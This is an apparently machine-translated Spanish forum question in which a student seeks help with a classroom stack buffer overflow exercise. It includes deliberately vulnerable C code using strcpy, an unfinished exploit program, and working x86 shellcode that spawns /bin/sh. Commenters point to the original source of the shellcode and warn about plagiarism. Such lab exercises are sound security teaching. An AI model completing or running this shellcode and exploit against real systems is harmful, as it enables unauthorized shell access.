Estoy tratando de resolver este problema para una de mis clases de ciencia ficción, he utilizado todos los recursos y todavía tengo problemas, si alguien pudiera proporcionar alguna idea, lo agradecería mucho.Programa de explotación de desbordamiento de búfer intencional
Tengo este "objetivo" Necesito ejecutar un execve ("/ bin/sh") con el exploit overflow. En el desbordamiento de buf [128], al ejecutar el comando inseguro strcpy, aparece un puntero en el búfer en la ubicación donde el sistema espera encontrar la dirección de retorno.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
entiendo que necesito para llenar argv [1] con más de 128 bytes, el bytes sobre 128 es la dirección de retorno, que debe señalarse hacia el búfer para que ejecute/bin/sh dentro. ¿Eso es correcto hasta ahora? ¿Alguien puede dar el próximo paso?
Muchas gracias por cualquier ayuda.
Un desbordamiento de pila y un desbordamiento de búfer son dos cosas bastante diferentes. – BoltClock
Esto depende en gran medida de su sistema (compilador, CPU, etc.) y no se ha molestado en especificar nada de eso. –
No pude evitar observar que su código de shell es una copia exacta del que se encuentra [aquí] (http://insecure.org/stf/smashstack.html). Probablemente deberías leer este artículo y comprender lo que está sucediendo para que puedas implementar el tuyo propio. El plagio en la universidad es algo serio. – Paul